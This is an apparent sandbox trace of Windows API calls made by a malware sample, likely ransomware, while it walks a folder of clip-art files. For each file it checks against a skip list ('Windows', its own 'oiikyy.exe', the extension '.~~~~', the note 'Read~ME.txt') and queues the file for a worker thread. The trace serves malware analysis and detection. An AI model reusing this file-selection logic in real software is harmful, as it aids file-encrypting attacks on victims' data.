	[0082.813] RtlWakeConditionVariable () returned 0x365f48
	[0082.813] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="Windows") returned -1
	[0082.813] lstrcmpW (lpString1="AN01218_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.813] StrStrW (lpFirst="AN01218_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.813] lstrcmpW (lpString1="AN01218_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.813] GetCurrentThreadId () returned 0x618
	[0082.813] RtlWakeConditionVariable () returned 0x365f48
	[0082.813] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="Windows") returned -1
	[0082.813] lstrcmpW (lpString1="AN01251_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.814] StrStrW (lpFirst="AN01251_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.814] lstrcmpW (lpString1="AN01251_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.814] GetCurrentThreadId () returned 0x618
	[0082.814] RtlWakeConditionVariable () returned 0x365f48
	[0082.814] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="Windows") returned -1
	[0082.814] lstrcmpW (lpString1="AN01545_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.814] StrStrW (lpFirst="AN01545_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.814] lstrcmpW (lpString1="AN01545_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.814] GetCurrentThreadId () returned 0x618
	[0082.814] RtlWakeConditionVariable () returned 0x365f48
	[0082.814] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="Windows") returned -1
	[0082.814] lstrcmpW (lpString1="AN02122_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.814] StrStrW (lpFirst="AN02122_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.814] lstrcmpW (lpString1="AN02122_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.814] GetCurrentThreadId () returned 0x618
	[0082.814] RtlWakeConditionVariable () returned 0x365f48
	[0082.814] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="Windows") returned -1
	[0082.814] lstrcmpW (lpString1="AN02559_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.814] StrStrW (lpFirst="AN02559_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.814] lstrcmpW (lpString1="AN02559_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.815] GetCurrentThreadId () returned 0x618
	[0082.815] RtlWakeConditionVariable () returned 0x365f48
	[0082.815] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="Windows") returned -1
	[0082.815] lstrcmpW (lpString1="AN02724_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.815] StrStrW (lpFirst="AN02724_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.815] lstrcmpW (lpString1="AN02724_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.815] GetCurrentThreadId () returned 0x618
	[0082.815] RtlWakeConditionVariable () returned 0x365f48
	[0082.815] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="Windows") returned -1
	[0082.815] lstrcmpW (lpString1="AN03500_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.815] StrStrW (lpFirst="AN03500_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.815] lstrcmpW (lpString1="AN03500_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.815] GetCurrentThreadId () returned 0x618
	[0082.815] RtlWakeConditionVariable () returned 0x365f48
	[0082.815] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="Windows") returned -1
	[0082.815] lstrcmpW (lpString1="AN04108_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.815] StrStrW (lpFirst="AN04108_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.815] lstrcmpW (lpString1="AN04108_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.815] GetCurrentThreadId () returned 0x618
	[0082.815] RtlWakeConditionVariable () returned 0x365f48
	[0082.816] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="Windows") returned -1
	[0082.816] lstrcmpW (lpString1="AN04117_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.816] StrStrW (lpFirst="AN04117_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.816] lstrcmpW (lpString1="AN04117_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.816] GetCurrentThreadId () returned 0x618
	[0082.816] RtlWakeConditionVariable () returned 0x365f48
	[0082.816] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="Windows") returned -1
	[0082.816] lstrcmpW (lpString1="AN04134_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.816] StrStrW (lpFirst="AN04134_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.816] lstrcmpW (lpString1="AN04134_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.816] GetCurrentThreadId () returned 0x618
	[0082.816] RtlWakeConditionVariable () returned 0x365f48
	[0082.816] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="Windows") returned -1
	[0082.816] lstrcmpW (lpString1="AN04174_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.816] StrStrW (lpFirst="AN04174_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.816] lstrcmpW (lpString1="AN04174_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.816] GetCurrentThreadId () returned 0x618
	[0082.816] RtlWakeConditionVariable () returned 0x365f48
	[0082.816] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="Windows") returned -1
	[0082.817] lstrcmpW (lpString1="AN04191_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.817] StrStrW (lpFirst="AN04191_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.817] lstrcmpW (lpString1="AN04191_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.817] GetCurrentThreadId () returned 0x618
	[0082.817] RtlWakeConditionVariable () returned 0x365f48
	[0082.817] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="Windows") returned -1
	[0082.817] lstrcmpW (lpString1="AN04195_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.817] StrStrW (lpFirst="AN04195_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.817] lstrcmpW (lpString1="AN04195_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.817] GetCurrentThreadId () returned 0x618
	[0082.817] RtlWakeConditionVariable () returned 0x365f48
	[0082.817] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="Windows") returned -1
	[0082.817] lstrcmpW (lpString1="AN04196_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.817] StrStrW (lpFirst="AN04196_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.817] lstrcmpW (lpString1="AN04196_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.817] GetCurrentThreadId () returned 0x618
	[0082.817] RtlWakeConditionVariable () returned 0x365f48
	[0082.817] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="Windows") returned -1
	[0082.817] lstrcmpW (lpString1="AN04206_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.817] StrStrW (lpFirst="AN04206_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.817] lstrcmpW (lpString1="AN04206_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.818] GetCurrentThreadId () returned 0x618
	[0082.818] RtlWakeConditionVariable () returned 0x365f48
	[0082.818] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="Windows") returned -1
	[0082.818] lstrcmpW (lpString1="AN04225_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.818] StrStrW (lpFirst="AN04225_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.818] lstrcmpW (lpString1="AN04225_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.818] GetCurrentThreadId () returned 0x618
	[0082.818] RtlWakeConditionVariable () returned 0x365f48
	[0082.818] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="Windows") returned -1
	[0082.818] lstrcmpW (lpString1="AN04235_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.818] StrStrW (lpFirst="AN04235_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.818] lstrcmpW (lpString1="AN04235_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.818] GetCurrentThreadId () returned 0x618
	[0082.818] RtlWakeConditionVariable () returned 0x365f48
	[0082.818] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="Windows") returned -1
	[0082.818] lstrcmpW (lpString1="AN04267_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.818] StrStrW (lpFirst="AN04267_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.818] lstrcmpW (lpString1="AN04267_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.818] GetCurrentThreadId () returned 0x618
	[0082.818] RtlWakeConditionVariable () returned 0x365f48
	[0082.828] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="Windows") returned -1
	[0082.828] lstrcmpW (lpString1="AN04269_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.828] StrStrW (lpFirst="AN04269_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.828] lstrcmpW (lpString1="AN04269_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.828] GetCurrentThreadId () returned 0x618
	[0082.828] RtlWakeConditionVariable () returned 0x365f48
	[0082.829] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="Windows") returned -1
	[0082.829] lstrcmpW (lpString1="AN04323_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.829] StrStrW (lpFirst="AN04323_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.829] lstrcmpW (lpString1="AN04323_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.829] GetCurrentThreadId () returned 0x618
	[0082.829] RtlWakeConditionVariable () returned 0x365f48
	[0082.829] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="Windows") returned -1
	[0082.829] lstrcmpW (lpString1="AN04326_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.829] StrStrW (lpFirst="AN04326_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.829] lstrcmpW (lpString1="AN04326_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.829] GetCurrentThreadId () returned 0x618
	[0082.830] RtlWakeConditionVariable () returned 0x365f48
	[0082.830] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="Windows") returned -1
	[0082.830] lstrcmpW (lpString1="AN04332_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.830] StrStrW (lpFirst="AN04332_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.830] lstrcmpW (lpString1="AN04332_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.830] GetCurrentThreadId () returned 0x618
	[0082.830] RtlWakeConditionVariable () returned 0x365f48
	[0082.830] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="Windows") returned -1
	[0082.830] lstrcmpW (lpString1="AN04355_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.830] StrStrW (lpFirst="AN04355_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.830] lstrcmpW (lpString1="AN04355_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.830] GetCurrentThreadId () returned 0x618
	[0082.830] RtlWakeConditionVariable () returned 0x365f48
	[0082.830] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="Windows") returned -1
	[0082.830] lstrcmpW (lpString1="AN04369_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.830] StrStrW (lpFirst="AN04369_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.830] lstrcmpW (lpString1="AN04369_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.830] GetCurrentThreadId () returned 0x618
	[0082.830] RtlWakeConditionVariable () returned 0x365f48
	[0082.830] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="Windows") returned -1
	[0082.831] lstrcmpW (lpString1="AN04384_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.831] StrStrW (lpFirst="AN04384_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.831] lstrcmpW (lpString1="AN04384_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.831] GetCurrentThreadId () returned 0x618
	[0082.831] RtlWakeConditionVariable () returned 0x365f48
	[0082.831] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="Windows") returned -1
	[0082.831] lstrcmpW (lpString1="AN04385_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.831] StrStrW (lpFirst="AN04385_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.831] lstrcmpW (lpString1="AN04385_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.831] GetCurrentThreadId () returned 0x618
	[0082.831] RtlWakeConditionVariable () returned 0x365f48
	[0082.831] lstrcmpiW (lpString1="BABY_01.MID", lpString2="Windows") returned -1
	[0082.831] lstrcmpW (lpString1="BABY_01.MID", lpString2="oiikyy.exe") returned -1
	[0082.831] StrStrW (lpFirst="BABY_01.MID", lpSrch=".~~~~") returned 0x0
	[0082.831] lstrcmpW (lpString1="BABY_01.MID", lpString2="Read~ME.txt") returned -1
	[0082.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.831] GetCurrentThreadId () returned 0x618
	[0082.831] RtlWakeConditionVariable () returned 0x365f48
	[0082.832] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="Windows") returned -1
	[0082.832] lstrcmpW (lpString1="BD00116_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.832] StrStrW (lpFirst="BD00116_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.832] lstrcmpW (lpString1="BD00116_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.832] GetCurrentThreadId () returned 0x618
	[0082.832] RtlWakeConditionVariable () returned 0x365f48
	[0082.832] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="Windows") returned -1
	[0082.832] lstrcmpW (lpString1="BD00141_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.832] StrStrW (lpFirst="BD00141_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.832] lstrcmpW (lpString1="BD00141_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.832] GetCurrentThreadId () returned 0x618
	[0082.832] RtlWakeConditionVariable () returned 0x365f48
	[0082.832] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="Windows") returned -1
	[0082.832] lstrcmpW (lpString1="BD00146_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.832] StrStrW (lpFirst="BD00146_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.832] lstrcmpW (lpString1="BD00146_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.832] GetCurrentThreadId () returned 0x618
	[0082.832] RtlWakeConditionVariable () returned 0x365f48
	[0082.833] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="Windows") returned -1
	[0082.833] lstrcmpW (lpString1="BD00155_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.833] StrStrW (lpFirst="BD00155_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.833] lstrcmpW (lpString1="BD00155_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.833] GetCurrentThreadId () returned 0x618
	[0082.833] RtlWakeConditionVariable () returned 0x365f48
	[0082.833] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="Windows") returned -1
	[0082.833] lstrcmpW (lpString1="BD00160_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.833] StrStrW (lpFirst="BD00160_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.833] lstrcmpW (lpString1="BD00160_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.833] GetCurrentThreadId () returned 0x618
	[0082.833] RtlWakeConditionVariable () returned 0x365f48
	[0082.833] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="Windows") returned -1
	[0082.833] lstrcmpW (lpString1="BD00173_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.833] StrStrW (lpFirst="BD00173_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.833] lstrcmpW (lpString1="BD00173_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.833] GetCurrentThreadId () returned 0x618
	[0082.833] RtlWakeConditionVariable () returned 0x365f48
	[0082.834] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="Windows") returned -1
	[0082.834] lstrcmpW (lpString1="BD05119_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.834] StrStrW (lpFirst="BD05119_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.834] lstrcmpW (lpString1="BD05119_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.834] GetCurrentThreadId () returned 0x618
	[0082.834] RtlWakeConditionVariable () returned 0x365f48
	[0082.834] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="Windows") returned -1
	[0082.834] lstrcmpW (lpString1="BD06102_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.834] StrStrW (lpFirst="BD06102_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.834] lstrcmpW (lpString1="BD06102_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.834] GetCurrentThreadId () returned 0x618
	[0082.834] RtlWakeConditionVariable () returned 0x365f48
	[0082.834] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="Windows") returned -1
	[0082.834] lstrcmpW (lpString1="BD06200_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.834] StrStrW (lpFirst="BD06200_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.834] lstrcmpW (lpString1="BD06200_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.834] GetCurrentThreadId () returned 0x618
	[0082.834] RtlWakeConditionVariable () returned 0x365f48
	[0082.834] lstrcmpiW (lpString1="BD07761_.WMF", lpString2="Windows") returned -1
	[0082.835] lstrcmpW (lpString1="BD07761_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.835] StrStrW (lpFirst="BD07761_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.835] lstrcmpW (lpString1="BD07761_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.835] GetCurrentThreadId () returned 0x618
	[0082.835] RtlWakeConditionVariable () returned 0x365f48
	[0082.835] lstrcmpiW (lpString1="BD07804_.WMF", lpString2="Windows") returned -1
	[0082.835] lstrcmpW (lpString1="BD07804_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.835] StrStrW (lpFirst="BD07804_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.835] lstrcmpW (lpString1="BD07804_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.835] GetCurrentThreadId () returned 0x618
	[0082.835] RtlWakeConditionVariable () returned 0x365f48
	[0082.835] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="Windows") returned -1
	[0082.835] lstrcmpW (lpString1="BD07831_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.835] StrStrW (lpFirst="BD07831_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.835] lstrcmpW (lpString1="BD07831_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.835] GetCurrentThreadId () returned 0x618
	[0082.835] RtlWakeConditionVariable () returned 0x365f48
	[0082.836] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="Windows") returned -1
	[0082.836] lstrcmpW (lpString1="BD08758_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.836] StrStrW (lpFirst="BD08758_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.836] lstrcmpW (lpString1="BD08758_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.836] GetCurrentThreadId () returned 0x618
	[0082.836] RtlWakeConditionVariable () returned 0x365f48
	[0082.836] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="Windows") returned -1
	[0082.836] lstrcmpW (lpString1="BD08773_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.836] StrStrW (lpFirst="BD08773_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.836] lstrcmpW (lpString1="BD08773_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.836] GetCurrentThreadId () returned 0x618
	[0082.836] RtlWakeConditionVariable () returned 0x365f48
	[0082.836] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="Windows") returned -1
	[0082.836] lstrcmpW (lpString1="BD08808_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.836] StrStrW (lpFirst="BD08808_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.836] lstrcmpW (lpString1="BD08808_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.836] GetCurrentThreadId () returned 0x618
	[0082.836] RtlWakeConditionVariable () returned 0x365f48
	[0082.836] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="Windows") returned -1
	[0082.837] lstrcmpW (lpString1="BD08868_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.837] StrStrW (lpFirst="BD08868_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.837] lstrcmpW (lpString1="BD08868_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.837] GetCurrentThreadId () returned 0x618
	[0082.837] RtlWakeConditionVariable () returned 0x365f48
	[0082.837] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="Windows") returned -1
	[0082.837] lstrcmpW (lpString1="BD09031_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.837] StrStrW (lpFirst="BD09031_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.837] lstrcmpW (lpString1="BD09031_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.837] GetCurrentThreadId () returned 0x618
	[0082.837] RtlWakeConditionVariable () returned 0x365f48
	[0082.837] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="Windows") returned -1
	[0082.837] lstrcmpW (lpString1="BD09194_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.837] StrStrW (lpFirst="BD09194_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.837] lstrcmpW (lpString1="BD09194_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.837] GetCurrentThreadId () returned 0x618
	[0082.837] RtlWakeConditionVariable () returned 0x365f48
	[0082.837] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="Windows") returned -1
	[0082.838] lstrcmpW (lpString1="BD09662_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.838] StrStrW (lpFirst="BD09662_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.838] lstrcmpW (lpString1="BD09662_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.838] GetCurrentThreadId () returned 0x618
	[0082.838] RtlWakeConditionVariable () returned 0x365f48
	[0082.838] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="Windows") returned -1
	[0082.838] lstrcmpW (lpString1="BD09664_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.838] StrStrW (lpFirst="BD09664_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.838] lstrcmpW (lpString1="BD09664_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.838] GetCurrentThreadId () returned 0x618
	[0082.838] RtlWakeConditionVariable () returned 0x365f48
	[0082.838] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="Windows") returned -1
	[0082.838] lstrcmpW (lpString1="BD10890_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.838] StrStrW (lpFirst="BD10890_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.838] lstrcmpW (lpString1="BD10890_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.838] GetCurrentThreadId () returned 0x618
	[0082.838] RtlWakeConditionVariable () returned 0x365f48
	[0082.838] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="Windows") returned -1
	[0082.839] lstrcmpW (lpString1="BD10972_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.839] StrStrW (lpFirst="BD10972_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.839] lstrcmpW (lpString1="BD10972_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.839] GetCurrentThreadId () returned 0x618
	[0082.839] RtlWakeConditionVariable () returned 0x365f48
	[0082.839] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="Windows") returned -1
	[0082.839] lstrcmpW (lpString1="BD19563_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.839] StrStrW (lpFirst="BD19563_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.839] lstrcmpW (lpString1="BD19563_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.839] GetCurrentThreadId () returned 0x618
	[0082.839] RtlWakeConditionVariable () returned 0x365f48
